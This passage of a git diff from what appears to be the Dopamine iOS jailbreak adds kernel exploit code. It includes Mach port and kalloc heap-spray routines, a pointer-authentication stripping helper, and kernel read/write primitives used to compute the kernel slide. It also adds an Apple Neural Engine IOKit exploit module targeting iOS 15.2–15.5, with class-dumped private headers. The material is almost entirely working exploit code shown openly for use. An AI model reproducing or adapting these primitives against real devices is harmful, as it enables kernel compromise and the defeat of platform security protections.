+ for (unsigned int i = 0; i < count; ++i) + { + msg->hdr.msgh_remote_port = ports[i]; + kern_return_t kr = mach_msg_send((mach_msg_header_t *)msg); + if (kr) { + *(int *)1 = 0; + } + } + + free(msg); + + return ports; +} + +void spray_default_kalloc_ool_ports_on_port(unsigned int size, unsigned int count, mach_port_t *ool_ports, mach_port_t p) +{ + spray_default_kalloc_ool_ports_with_data_kalloc_size_on_port(size, ool_ports, 0x50, p); +} + +void spray_default_kalloc_ool_ports_with_data_kalloc_size_on_port(unsigned int size, mach_port_t *ool_ports, unsigned int data_kalloc_size, mach_port_t p) +{ + struct default_msg + { + mach_msg_header_t hdr; + mach_msg_body_t body; + mach_msg_ool_ports_descriptor_t desc; + }; + + struct default_msg *msg = (struct default_msg *)calloc(1, 0x100); + + msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); + msg->hdr.msgh_bits |= MACH_MSGH_BITS_COMPLEX; + msg->hdr.msgh_size = data_kalloc_size; + msg->body.msgh_descriptor_count = 1; + + msg->desc.deallocate = 0; + msg->desc.type = MACH_MSG_OOL_PORTS_DESCRIPTOR; + msg->desc.copy = MACH_MSG_VIRTUAL_COPY; + msg->desc.disposition = MACH_MSG_TYPE_COPY_SEND; + msg->desc.count = size/8; + msg->desc.address = (void *)ool_ports; + + msg->hdr.msgh_remote_port = p; + kern_return_t kr = mach_msg_send((mach_msg_header_t *)msg); + if (kr) { + *(int *)1 = 0; + } + + free(msg); +} + + +kern_return_t spray_kmsg_on_port(mach_port_t port, void *data, size_t size) +{ + mach_msg_base_t *msg = data; + msg->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); + msg->header.msgh_remote_port = port; + msg->header.msgh_size = (mach_msg_size_t)size; + + return mach_msg_send(&msg->header); +} + +mach_port_t *spray_ports_with_context(unsigned int count, uint64_t context) +{ + mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT }; + mach_port_t *ports = calloc(sizeof(mach_port_t), count); + + for (unsigned int i = 0; i < count; ++i) + { + mach_port_construct(mach_task_self(), &options, context, &ports[i]); + } + + return ports; +} + +mach_port_t *spray_ports(unsigned int count) +{ + return spray_ports_with_context(count, 0); +} + +int spray_default_kalloc_necp(int necp_fd, uint8_t *b, uint32_t sz) +{ + uint8_t if_id[0x10]; + return necp_client_action(necp_fd, 1, if_id, sizeof(if_id), b, sz); +} + diff --git a/Application/Dopamine/Exploits/multicast_bytecopy/exploit/spray.h b/Application/Dopamine/Exploits/multicast_bytecopy/exploit/spray.h new file mode 100644 index 0000000000..c7724cff15 --- /dev/null +++ b/Application/Dopamine/Exploits/multicast_bytecopy/exploit/spray.h @@ -0,0 +1,23 @@ +#ifndef __SPRAY_H__ +#define __SPRAY_H__ + +#include +#include + +mach_port_t spray_data_kalloc_kmsg_single(uint8_t *data, unsigned int size); +mach_port_t *spray_data_kalloc_kmsg(uint8_t *data, unsigned int size, unsigned int count); +void spray_data_kalloc_kmsg_on_ports(uint8_t *data, unsigned int size, unsigned int count, mach_port_t *ports); +mach_port_t *spray_default_kalloc_ool_ports(unsigned int size, unsigned int count, mach_port_t *ool_ports); +mach_port_t *spray_default_kalloc_ool_ports_with_data_kalloc_size(unsigned int size, unsigned int count, mach_port_t *ool_ports, unsigned int data_kalloc_size); + +void spray_default_kalloc_ool_ports_on_port(unsigned int size, unsigned int count, mach_port_t *ool_ports, mach_port_t p); +void spray_default_kalloc_ool_ports_with_data_kalloc_size_on_port(unsigned int size, mach_port_t *ool_ports, unsigned int data_kalloc_size, mach_port_t p); +int spray_default_kalloc_necp(int necp_fd, uint8_t *b, uint32_t sz); + +kern_return_t spray_kmsg_on_port(mach_port_t port, void *data, size_t size); + +mach_port_t *spray_ports(unsigned int count); +mach_port_t *spray_ports_with_context(unsigned int count, uint64_t context); + + +#endif diff --git a/Application/Dopamine/Exploits/multicast_bytecopy/exploit/xpaci.h b/Application/Dopamine/Exploits/multicast_bytecopy/exploit/xpaci.h new file mode 100644 index 0000000000..db896db1b5 --- /dev/null +++ b/Application/Dopamine/Exploits/multicast_bytecopy/exploit/xpaci.h @@ -0,0 +1,18 @@ +// ptrauth.h replacement + +static uint64_t __attribute((naked)) __xpaci(uint64_t a) +{ + asm(".long 0xDAC143E0"); // XPACI X0 + asm("ret"); +} + +static uint64_t xpaci(uint64_t a) +{ + // If a looks like a non-pac'd pointer just return it + if ((a & 0xFFFFFF0000000000) == 0xFFFFFF0000000000) + { + return a; + } + + return __xpaci(a); +} diff --git a/Application/Dopamine/Exploits/multicast_bytecopy/multicast_bytecopy.h b/Application/Dopamine/Exploits/multicast_bytecopy/multicast_bytecopy.h new file mode 100644 index 0000000000..8a4dca7fc7 --- /dev/null +++ b/Application/Dopamine/Exploits/multicast_bytecopy/multicast_bytecopy.h @@ -0,0 +1,18 @@ +// +// multicast_bytecopy.h +// multicast_bytecopy +// +// Created by Lars Fröder on 27.04.24. +// + +#import + +//! Project version number for multicast_bytecopy. +FOUNDATION_EXPORT double multicast_bytecopyVersionNumber; + +//! Project version string for multicast_bytecopy. +FOUNDATION_EXPORT const unsigned char multicast_bytecopyVersionString[]; + +// In this header, you should import all the public headers of your framework using statements like #import + + diff --git a/Application/Dopamine/Exploits/multicast_bytecopy/multicast_bytecopy.m b/Application/Dopamine/Exploits/multicast_bytecopy/multicast_bytecopy.m new file mode 100644 index 0000000000..f4baf07757 --- /dev/null +++ b/Application/Dopamine/Exploits/multicast_bytecopy/multicast_bytecopy.m @@ -0,0 +1,103 @@ +// +// multicast_bytecopy.c +// Dopamine +// +// Created by Lars Fröder on 27.04.24. +// + +#include +#include "exploit/exploit.h" +#include "exploit/kernel_rw.h" +#import +#import + +#define kread_from_method(type, method) \ + do { \ + volatile type* type_base = (volatile type*)(uaddr); \ + uint64_t type_size = ((size) / (sizeof(type))); \ + for (uint64_t type_offset = 0; type_offset < type_size; type_offset++) { \ + type type_value = method(kaddr + (type_offset * sizeof(type))); \ + type_base[type_offset] = type_value; \ + } \ + } while (0) + +#define kwrite_from_method(type, method) \ + do { \ + volatile type* type_base = (volatile type*)(uaddr); \ + uint64_t type_size = ((size) / (sizeof(type))); \ + for (uint64_t type_offset = 0; type_offset < type_size; type_offset++) { \ + type type_value = type_base[type_offset]; \ + method( kaddr + (type_offset * sizeof(type)), type_value); \ + } \ + } while (0) + +int kreadbuf(uint64_t kaddr, void* uaddr, size_t size) +{ + switch (size) { + case sizeof(uint8_t): { + uint32_t r = kread32(kaddr); + *(uint8_t *)uaddr = (uint8_t)r; + break; + } + case sizeof(uint16_t): { + uint32_t r = kread32(kaddr); + *(uint16_t *)uaddr = (uint16_t)r; + break; + } + default: + kread_from_method(uint32_t, kread32); + break; + } + return 0; +} + +int kwritebuf(uint64_t kaddr, const void* uaddr, size_t size) +{ + switch (size) { + case sizeof(uint8_t): { + uint8_t r[8] = { 0 }; + kreadbuf(kaddr, r, sizeof(r)); + r[0] = *(uint8_t *)uaddr; + kwrite64(kaddr, *(uint64_t *)r); + break; + } + case sizeof(uint16_t): { + uint16_t r[4] = { 0 }; + kreadbuf(kaddr, r, sizeof(r)); + r[0] = *(uint16_t *)uaddr; + kwrite64(kaddr, *(uint64_t *)r); + break; + } + default: + kwrite_from_method(uint32_t, kwrite32); + break; + } + return 0; +} + +int exploit_init(const char *flavor) +{ + uint64_t kernelBase = 0; + int r = exploit_get_krw_and_kernel_base(&kernelBase); + if (r != 0) return r; + + gPrimitives.kreadbuf = kreadbuf; + gPrimitives.kwritebuf = kwritebuf; + gSystemInfo.kernelConstant.slide = kernelBase - kconstant(staticBase); + + return 0; +} + + +int exploit_deinit(void) +{ + if (gPrimitives.kreadbuf == kreadbuf) { + gPrimitives.kreadbuf = NULL; + } + if (gPrimitives.kwritebuf == kwritebuf) { + gPrimitives.kwritebuf = NULL; + } + + exploitation_cleanup(); + return 0; +} diff --git a/Application/Dopamine/Exploits/weightBufs/Info.plist b/Application/Dopamine/Exploits/weightBufs/Info.plist new file mode 100644 index 0000000000..cd36f2bf2b --- /dev/null +++ b/Application/Dopamine/Exploits/weightBufs/Info.plist @@ -0,0 +1,34 @@ + + + + + DPExploitFlavors + + default + + DPFlavorPriority + 800 + DPSupportExclude + + + Devices + + arm64 + + + + DPSupportedRanges + + + End + 15.5 + Start + 15.2 + + + + + DPExploitType + Kernel + + diff --git a/Application/Dopamine/Exploits/weightBufs/exploit/ANEDirectIn.c b/Application/Dopamine/Exploits/weightBufs/exploit/ANEDirectIn.c new file mode 100644 index 0000000000..8e31bb5f1b --- /dev/null +++ b/Application/Dopamine/Exploits/weightBufs/exploit/ANEDirectIn.c @@ -0,0 +1,56 @@ +#include "ANEDirectIn.h" + +kern_return_t do__ANEDirect_ProgramSendRequest(io_connect_t client,mach_port_t port, void *address) +{ + + uint32_t structInputCnt = 16; + uint32_t structOutputCnt = 0; + + IOKit_args_t *args = allocate_args(structInputCnt,structOutputCnt, False); + + uint64_t * input = (uint64_t *)args->sInput; + input[0] = (uint64_t)address; + input[1] = 0xA60; + + args->client = client; + args->asyncAwake = port; + kern_return_t kr = IOConnectCallAsyncMethod(args->client, + 2, + args->asyncAwake, + args->references, + 8, + args->scalarI,args->scalarISize, + args->sInput, args->sInputSize, + args->scalarO, (uint32_t *)&args->scalarOSize, + args->sOutput, (size_t *)&args->sOutputSize); + /* printf("_ANE_ProgramSendRequest status -> kr = (0x%x) %s\n",kr, mach_error_string(kr)); */ + destroy_args(args); + return kr; +} + +kern_return_t do__ANEDriect_DeviceOpen(io_connect_t client,void *in) +{ + + uint32_t structInputCnt = 88; + uint32_t structOutputCnt = 88; + + IOKit_args_t *args = allocate_args(structInputCnt,structOutputCnt, False); + + uint8_t * input = (uint8_t *)args->sInput; + args->sInput = (uint8_t *)in; + + args->client = client; + + kern_return_t kr = IOConnectCallMethod(args->client, + 0, + args->scalarI,args->scalarISize, + args->sInput, args->sInputSize, + args->scalarO, (uint32_t *)&args->scalarOSize, + args->sOutput, (size_t *)&args->sOutputSize); + if(kr) + printf("_ANEDirect_DeviceOpen status -> kr = (0x%x) %s\n",kr, mach_error_string(kr)); + args->sInput = input; + memcpy(in,args->sOutput,structInputCnt); + destroy_args(args); + return kr; +} diff --git a/Application/Dopamine/Exploits/weightBufs/exploit/ANEDirectIn.h b/Application/Dopamine/Exploits/weightBufs/exploit/ANEDirectIn.h new file mode 100644 index 0000000000..541c738b78 --- /dev/null +++ b/Application/Dopamine/Exploits/weightBufs/exploit/ANEDirectIn.h @@ -0,0 +1,40 @@ +#ifndef _H_ANEDIRECTIN_H +#define _H_ANEDIRECTIN_H + +#include "iokit.h" + +struct H11ANEDeviceInfoStruct { + uint64_t fields[0x58/8]; +}; + +typedef struct +{ + uint64_t programHandle; + uint64_t field_8; + unsigned int procedureId; + uint32_t field_14; + uint64_t field_18; + uint64_t field_20; + unsigned int total_InputBuffers; + char inputBufferSymbolIndex[256]; + uint32_t inputBufferSurfaceId[255]; + unsigned int total_OutputBuffers; + char OutputBuffers[256]; + uint32_t outputBufferSurfaceId[255]; + unsigned int total_IntermediateBuffers; + uint IntermediateBufferSurfaceId[3]; + uint64_t callBack; + uint64_t refCon; + char field_A48; + char field_A49; + char field_A4A; + char field_A4B; + uint32_t weightsBufferSurfaceId; + uint64_t EventsAddr; + uint64_t field_A58; +} H11ANEProgramRequestArgsStruct; + +kern_return_t do__ANEDriect_DeviceOpen(io_connect_t client,void *in); +kern_return_t do__ANEDirect_ProgramSendRequest(io_connect_t client,mach_port_t port, void *address); + +#endif /* _H_ANEDIRECTIN_H */ diff --git a/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/AppleNeuralEngine-Structs.h b/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/AppleNeuralEngine-Structs.h new file mode 100644 index 0000000000..08e561d357 --- /dev/null +++ b/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/AppleNeuralEngine-Structs.h @@ -0,0 +1,20 @@ +/* +* This header is generated by classdump-dyld 1.0 +* on Thursday, September 24, 2020 at 12:37:44 AM British Summer Time +* Operating System: Version 14.0 (Build 18A373) +* Image Source: /System/Library/PrivateFrameworks/AppleNeuralEngine.framework/AppleNeuralEngine +* classdump-dyld is licensed under GPLv3, Copyright © 2013-2016 by Elias Limneos. +*/ + +typedef struct _NSZone* NSZoneRef; + +typedef struct os_unfair_lock_s { + unsigned _os_unfair_lock_opaque; +} os_unfair_lock_s; + +typedef struct __IOSurface* IOSurfaceRef; + +typedef struct { + +} SCD_Struct_AN3; + diff --git a/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/AppleNeuralEngine.h b/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/AppleNeuralEngine.h new file mode 100644 index 0000000000..9b6e70f986 --- /dev/null +++ b/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/AppleNeuralEngine.h @@ -0,0 +1,16 @@ +#import +#import +#import +#import +#import +#import +#import +#import +#import +#import +#import +#import +#import +#import +#import +#import diff --git a/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/NSCopying.h b/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/NSCopying.h new file mode 100644 index 0000000000..58b4a01724 --- /dev/null +++ b/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/NSCopying.h @@ -0,0 +1,15 @@ +/* +* This header is generated by classdump-dyld 1.0 +* on Thursday, September 24, 2020 at 12:37:44 AM British Summer Time +* Operating System: Version 14.0 (Build 18A373) +* Image Source: /System/Library/PrivateFrameworks/AppleNeuralEngine.framework/AppleNeuralEngine +* classdump-dyld is licensed under GPLv3, Copyright © 2013-2016 by Elias Limneos. +*/ + + +@protocol NSCopying +@required +-(id)copyWithZone:(NSZone*)arg1; + +@end + diff --git a/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/NSSecureCoding.h b/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/NSSecureCoding.h new file mode 100644 index 0000000000..a242052a6c --- /dev/null +++ b/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/NSSecureCoding.h @@ -0,0 +1,15 @@ +/* +* This header is generated by classdump-dyld 1.0 +* on Thursday, September 24, 2020 at 12:37:44 AM British Summer Time +* Operating System: Version 14.0 (Build 18A373) +* Image Source: /System/Library/PrivateFrameworks/AppleNeuralEngine.framework/AppleNeuralEngine +* classdump-dyld is licensed under GPLv3, Copyright © 2013-2016 by Elias Limneos. +*/ + + +@protocol NSSecureCoding +@required ++(BOOL)supportsSecureCoding; + +@end + diff --git a/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANEClient.h b/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANEClient.h new file mode 100644 index 0000000000..02a178a4b1 --- /dev/null +++ b/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANEClient.h @@ -0,0 +1,45 @@ +/* +* This header is generated by classdump-dyld 1.0 +* on Thursday, September 24, 2020 at 12:37:44 AM British Summer Time +* Operating System: Version 14.0 (Build 18A373) +* Image Source: /System/Library/PrivateFrameworks/AppleNeuralEngine.framework/AppleNeuralEngine +* classdump-dyld is licensed under GPLv3, Copyright © 2013-2016 by Elias Limneos. +*/ + + +@class _ANEDaemonConnection, NSArray; + +@interface _ANEClient : NSObject { + + _ANEDaemonConnection* _conn; + NSArray* _queues; + +} + +@property (nonatomic,readonly) _ANEDaemonConnection * conn; //@synthesize conn=_conn - In the implementation block +@property (nonatomic,readonly) NSArray * queues; //@synthesize queues=_queues - In the implementation block ++(void)initialize; ++(id)sharedPrivateConnection; ++(id)sharedConnection; ++(id)sandboxExtensionForModel:(id)arg1 ; +-(BOOL)echo:(id)arg1 ; +-(_ANEDaemonConnection *)conn; +-(NSArray *)queues; +-(void)dealloc; +-(BOOL)compiledModelExistsFor:(id)arg1 ; +-(void)purgeCompiledModel:(id)arg1 ; +-(BOOL)loadRealTimeModel:(id)arg1 options:(id)arg2 qos:(unsigned)arg3 error:(id*)arg4 ; +-(BOOL)loadModel:(id)arg1 options:(id)arg2 qos:(unsigned)arg3 error:(id*)arg4 ; +-(BOOL)unloadRealTimeModel:(id)arg1 options:(id)arg2 qos:(unsigned)arg3 error:(id*)arg4 ; +-(BOOL)unloadModel:(id)arg1 options:(id)arg2 qos:(unsigned)arg3 error:(id*)arg4 ; +-(BOOL)evaluateRealTimeWithModel:(id)arg1 options:(id)arg2 request:(id)arg3 error:(id*)arg4 ; +-(BOOL)evaluateWithModel:(id)arg1 options:(id)arg2 request:(id)arg3 qos:(unsigned)arg4 error:(id*)arg5 ; +-(BOOL)compileModel:(id)arg1 options:(id)arg2 qos:(unsigned)arg3 error:(id*)arg4 ; +-(id)initWithRestrictedAccessAllowed:(BOOL)arg1 ; +-(BOOL)doLoadModel:(id)arg1 options:(id)arg2 qos:(unsigned)arg3 error:(id*)arg4 ; +-(BOOL)doEvaluateDirectWithModel:(id)arg1 options:(id)arg2 request:(id)arg3 qos:(unsigned)arg4 error:(id*)arg5 ; +-(BOOL)doUnloadModel:(id)arg1 options:(id)arg2 qos:(unsigned)arg3 error:(id*)arg4 ; +-(BOOL)beginRealTimeTask; +-(BOOL)endRealTimeTask; +@end + diff --git a/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANECloneHelper.h b/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANECloneHelper.h new file mode 100644 index 0000000000..4ba1eace4a --- /dev/null +++ b/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANECloneHelper.h @@ -0,0 +1,14 @@ +/* +* This header is generated by classdump-dyld 1.0 +* on Thursday, September 24, 2020 at 12:37:44 AM British Summer Time +* Operating System: Version 14.0 (Build 18A373) +* Image Source: /System/Library/PrivateFrameworks/AppleNeuralEngine.framework/AppleNeuralEngine +* classdump-dyld is licensed under GPLv3, Copyright © 2013-2016 by Elias Limneos. +*/ + + +@interface _ANECloneHelper : NSObject ++(BOOL)shouldSkipCloneFor:(id)arg1 isEncryptedModel:(BOOL)arg2 ; ++(id)cloneIfWritable:(id)arg1 isEncryptedModel:(BOOL)arg2 cloneDirectory:(id)arg3 ; +@end + diff --git a/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANEDaemonConnection.h b/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANEDaemonConnection.h new file mode 100644 index 0000000000..ef3bf0a4cf --- /dev/null +++ b/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANEDaemonConnection.h @@ -0,0 +1,38 @@ +/* +* This header is generated by classdump-dyld 1.0 +* on Thursday, September 24, 2020 at 12:37:44 AM British Summer Time +* Operating System: Version 14.0 (Build 18A373) +* Image Source: /System/Library/PrivateFrameworks/AppleNeuralEngine.framework/AppleNeuralEngine +* classdump-dyld is licensed under GPLv3, Copyright © 2013-2016 by Elias Limneos. +*/ + +#import + +@class NSXPCConnection; + +@interface _ANEDaemonConnection : NSObject <_ANEDaemonProtocol> { + + BOOL _restricted; + NSXPCConnection* _daemonConnection; + +} + +@property (nonatomic,readonly) NSXPCConnection * daemonConnection; //@synthesize daemonConnection=_daemonConnection - In the implementation block +@property (nonatomic,readonly) BOOL restricted; //@synthesize restricted=_restricted - In the implementation block ++(id)daemonConnection; ++(id)daemonConnectionRestricted; +-(void)dealloc; +-(BOOL)restricted; +-(id)init; +-(NSXPCConnection *)daemonConnection; +-(id)initWithMachServiceName:(id)arg1 restricted:(BOOL)arg2 ; +-(void)beginRealTimeTaskWithReply:(/*^block*/id)arg1 ; +-(void)endRealTimeTaskWithReply:(/*^block*/id)arg1 ; +-(void)echo:(id)arg1 withReply:(/*^block*/id)arg2 ; +-(void)compileModel:(id)arg1 sandboxExtension:(id)arg2 options:(id)arg3 qos:(unsigned)arg4 withReply:(/*^block*/id)arg5 ; +-(void)loadModel:(id)arg1 sandboxExtension:(id)arg2 options:(id)arg3 qos:(unsigned)arg4 withReply:(/*^block*/id)arg5 ; +-(void)unloadModel:(id)arg1 options:(id)arg2 qos:(unsigned)arg3 withReply:(/*^block*/id)arg4 ; +-(void)compiledModelExistsFor:(id)arg1 withReply:(/*^block*/id)arg2 ; +-(void)purgeCompiledModel:(id)arg1 withReply:(/*^block*/id)arg2 ; +@end + diff --git a/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANEDaemonProtocol.h b/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANEDaemonProtocol.h new file mode 100644 index 0000000000..1b51a3cab5 --- /dev/null +++ b/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANEDaemonProtocol.h @@ -0,0 +1,19 @@ +/* +* This header is generated by classdump-dyld 1.0 +* on Thursday, September 24, 2020 at 12:37:44 AM British Summer Time +* Operating System: Version 14.0 (Build 18A373) +* Image Source: /System/Library/PrivateFrameworks/AppleNeuralEngine.framework/AppleNeuralEngine +* classdump-dyld is licensed under GPLv3, Copyright © 2013-2016 by Elias Limneos. +*/ + + +@protocol _ANEDaemonProtocol +@required +-(void)compileModel:(id)arg1 sandboxExtension:(id)arg2 options:(id)arg3 qos:(unsigned)arg4 withReply:(/*^block*/id)arg5; +-(void)loadModel:(id)arg1 sandboxExtension:(id)arg2 options:(id)arg3 qos:(unsigned)arg4 withReply:(/*^block*/id)arg5; +-(void)unloadModel:(id)arg1 options:(id)arg2 qos:(unsigned)arg3 withReply:(/*^block*/id)arg4; +-(void)compiledModelExistsFor:(id)arg1 withReply:(/*^block*/id)arg2; +-(void)purgeCompiledModel:(id)arg1 withReply:(/*^block*/id)arg2; + +@end + diff --git a/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANEDataReporter.h b/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANEDataReporter.h new file mode 100644 index 0000000000..79c023f48d --- /dev/null +++ b/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANEDataReporter.h @@ -0,0 +1,17 @@ +/* +* This header is generated by classdump-dyld 1.0 +* on Thursday, September 24, 2020 at 12:37:44 AM British Summer Time +* Operating System: Version 14.0 (Build 18A373) +* Image Source: /System/Library/PrivateFrameworks/AppleNeuralEngine.framework/AppleNeuralEngine +* classdump-dyld is licensed under GPLv3, Copyright © 2013-2016 by Elias Limneos. +*/ + + +@interface _ANEDataReporter : NSObject ++(void)addValue:(long long)arg1 forScalarKey:(id)arg2 ; ++(void)setValue:(long long)arg1 forScalarKey:(id)arg2 ; ++(void)clearScalarKey:(id)arg1 ; ++(id)aggdKey:(id)arg1 ; ++(id)reportClient:(id)arg1 modelName:(id)arg2 ; +@end + diff --git a/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANEDeviceController.h b/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANEDeviceController.h new file mode 100644 index 0000000000..7ab201ed22 --- /dev/null +++ b/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANEDeviceController.h @@ -0,0 +1,43 @@ +/* +* This header is generated by classdump-dyld 1.0 +* on Thursday, September 24, 2020 at 12:37:44 AM British Summer Time +* Operating System: Version 14.0 (Build 18A373) +* Image Source: /System/Library/PrivateFrameworks/AppleNeuralEngine.framework/AppleNeuralEngine +* classdump-dyld is licensed under GPLv3, Copyright © 2013-2016 by Elias Limneos. +*/ + + +@protocol OS_dispatch_queue; +#import +@class NSObject; + +@interface _ANEDeviceController : NSObject { + + BOOL _isPrivileged; + NSObject* _q; + long long _usecount; + unsigned long long _programHandle; + SCD_Struct_AN3* _device; + +} + +@property (q,nonatomic,readonly) NSObject* q; //@synthesize q=_q - In the implementation block +@property (assign,nonatomic) long long usecount; //@synthesize usecount=_usecount - In the implementation block +@property (nonatomic,readonly) BOOL isPrivileged; //@synthesize isPrivileged=_isPrivileged - In the implementation block +@property (assign,nonatomic) unsigned long long programHandle; //@synthesize programHandle=_programHandle - In the implementation block +@property (assign,nonatomic) SCD_Struct_AN3* device; //@synthesize device=_device - In the implementation block ++(id)controllerWithProgramHandle:(unsigned long long)arg1 ; ++(id)sharedPrivilegedConnection; +-(NSObject*)q; +-(SCD_Struct_AN3*)device; +-(void)start; +-(void)setDevice:(SCD_Struct_AN3*)arg1 ; +-(void)stop; +-(BOOL)isPrivileged; +-(unsigned long long)programHandle; +-(void)setProgramHandle:(unsigned long long)arg1 ; +-(id)initWithProgramHandle:(unsigned long long)arg1 priviledged:(BOOL)arg2 ; +-(long long)usecount; +-(void)setUsecount:(long long)arg1 ; +@end + diff --git a/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANEDeviceInfo.h b/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANEDeviceInfo.h new file mode 100644 index 0000000000..b3d2834d9a --- /dev/null +++ b/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANEDeviceInfo.h @@ -0,0 +1,18 @@ +/* +* This header is generated by classdump-dyld 1.0 +* on Thursday, September 24, 2020 at 12:37:44 AM British Summer Time +* Operating System: Version 14.0 (Build 18A373) +* Image Source: /System/Library/PrivateFrameworks/AppleNeuralEngine.framework/AppleNeuralEngine +* classdump-dyld is licensed under GPLv3, Copyright © 2013-2016 by Elias Limneos. +*/ + + +@interface _ANEDeviceInfo : NSObject ++(BOOL)isInternalBuild; ++(BOOL)hasANE; ++(id)bootArgs; ++(id)buildVersion; ++(id)aneSubType; ++(BOOL)precompiledModelChecksDisabled; +@end + diff --git a/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANEErrors.h b/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANEErrors.h new file mode 100644 index 0000000000..882cfa2f18 --- /dev/null +++ b/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANEErrors.h @@ -0,0 +1,21 @@ +/* +* This header is generated by classdump-dyld 1.0 +* on Thursday, September 24, 2020 at 12:37:44 AM British Summer Time +* Operating System: Version 14.0 (Build 18A373) +* Image Source: /System/Library/PrivateFrameworks/AppleNeuralEngine.framework/AppleNeuralEngine +* classdump-dyld is licensed under GPLv3, Copyright © 2013-2016 by Elias Limneos. +*/ + + +@interface _ANEErrors : NSObject ++(id)createErrorWithCode:(long long)arg1 description:(id)arg2 ; ++(id)programInferenceOverflowErrorForMethod:(id)arg1 ; ++(id)programInferenceOtherErrorForMethod:(id)arg1 ; ++(id)entitlementErrorForMethod:(id)arg1 ; ++(id)priorityErrorForMethod:(id)arg1 ; ++(id)timeoutErrorForMethod:(id)arg1 ; ++(id)programCreationErrorForMethod:(id)arg1 ; ++(id)programLoadErrorForMethod:(id)arg1 ; ++(id)missingCodeSigningErrorForMethod:(id)arg1 ; +@end + diff --git a/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANEHashEncoding.h b/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANEHashEncoding.h new file mode 100644 index 0000000000..6d180e048f --- /dev/null +++ b/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANEHashEncoding.h @@ -0,0 +1,15 @@ +/* +* This header is generated by classdump-dyld 1.0 +* on Thursday, September 24, 2020 at 12:37:44 AM British Summer Time +* Operating System: Version 14.0 (Build 18A373) +* Image Source: /System/Library/PrivateFrameworks/AppleNeuralEngine.framework/AppleNeuralEngine +* classdump-dyld is licensed under GPLv3, Copyright © 2013-2016 by Elias Limneos. +*/ + + +@interface _ANEHashEncoding : NSObject ++(id)hexStringFor:(id)arg1 ; ++(void)copySHA256For:(id)arg1 toBuffer:(char*)arg2 ; ++(unsigned)hashFor:(id)arg1 seed:(unsigned)arg2 ; +@end + diff --git a/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANEIOSurfaceObject.h b/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANEIOSurfaceObject.h new file mode 100644 index 0000000000..83ba3b92e5 --- /dev/null +++ b/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANEIOSurfaceObject.h @@ -0,0 +1,27 @@ +/* +* This header is generated by classdump-dyld 1.0 +* on Thursday, September 24, 2020 at 12:37:44 AM British Summer Time +* Operating System: Version 14.0 (Build 18A373) +* Image Source: /System/Library/PrivateFrameworks/AppleNeuralEngine.framework/AppleNeuralEngine +* classdump-dyld is licensed under GPLv3, Copyright © 2013-2016 by Elias Limneos. +*/ + + +#import +@interface _ANEIOSurfaceObject : NSObject { + + IOSurfaceRef _ioSurface; + +} + +@property (nonatomic,readonly) IOSurfaceRef ioSurface; //@synthesize ioSurface=_ioSurface - In the implementation block ++(id)new; ++(id)objectWithIOSurface:(IOSurfaceRef)arg1 ; ++(IOSurfaceRef)createIOSurfaceWithWidth:(int)arg1 pixel_size:(int)arg2 height:(int)arg3 ; +-(id)initWithIOSurface:(IOSurfaceRef)arg1 ; +-(IOSurfaceRef)ioSurface; +-(void)dealloc; +-(id)init; +-(id)description; +@end + diff --git a/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANELog.h b/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANELog.h new file mode 100644 index 0000000000..d11e253da1 --- /dev/null +++ b/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANELog.h @@ -0,0 +1,17 @@ +/* +* This header is generated by classdump-dyld 1.0 +* on Thursday, September 24, 2020 at 12:37:44 AM British Summer Time +* Operating System: 